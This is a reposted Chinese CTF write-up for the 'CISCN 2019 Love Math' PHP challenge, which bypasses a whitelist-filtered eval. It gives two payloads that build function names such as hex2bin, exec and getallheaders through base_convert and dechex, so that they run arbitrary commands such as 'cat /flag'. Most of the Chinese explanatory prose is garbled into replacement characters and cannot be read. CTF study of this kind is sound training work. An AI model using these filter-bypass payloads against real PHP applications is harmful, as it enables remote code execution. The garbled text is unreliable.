BUU-WEB-[CISCN 2019 初赛]Love Math
发布日期:2021-05-15 21:03:35 浏览次数:12 分类:精选文章

本文共 2060 字,大约阅读时间需要 6 分钟。

PHP���������������������payload������

������������������

���������PHP���������������������������������������������������

  • ���������������������������������������������������������������������������c������������GET���������������
  • ���������������������c���������������������80���������
  • ���������������c������������������������������������������������|���&���>``���<���"���'���`������
  • ���������������������������������PHP���������������������������abs���acos���asin���atan������
  • ������������������������������������������������������������������������������������������

    payload������������

    payload������������������������������������

  • ���������������������hex2bin���dechex���16������������������������������������������
  • ���������������������eval������������������������������������exec���system������������������
  • ���������������������base_convert������������������������������������������������������������
  • ������1���GET������������payload

    /c=$pi=base_convert(37907361743,10,36)(dechex(1598506324))($$pi){$pi}(abs)&pi=system&abs=cat%20/flag

    ���������������

  • base_convert(37907361743,10,36)���������"hex2bin"���
  • dechex(1598506324)���������"5f474554"���
  • $pi������hex2bin���������$_GET���
  • ($$pi){$pi}(abs)������$_GET["pi"](abs)���������������cat /flag���������
  • ������2���������getallheaders������_header������

    /c=$pi=base_convert(696468,10,36)($pi(8768397090111664438,10,30)(){1})

    ���������������

  • base_convert(696468,10,36)���������"exec".
  • base_convert(8768397090111664438,10,30)���������"getallheaders".
  • exec("getallheaders")���������������������������
  • ���������������������������

    ������������������������������������������eval���������������������������������SQL������������������������������preg_replace���������������������������������������������

    ������������������������������������������������������������������������������������PHP������������������������������������������������������������������������exec���system������������������������������������������������������������

    ������������������������������������������������������������������������������������

    上一篇:BUU-WEB-[安洵杯 2019]easy_serialize_php
    下一篇:BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

    发表评论

    最新留言

    初次前来,多多关照!
    [***.217.46.12]2025年04月17日 21时04分34秒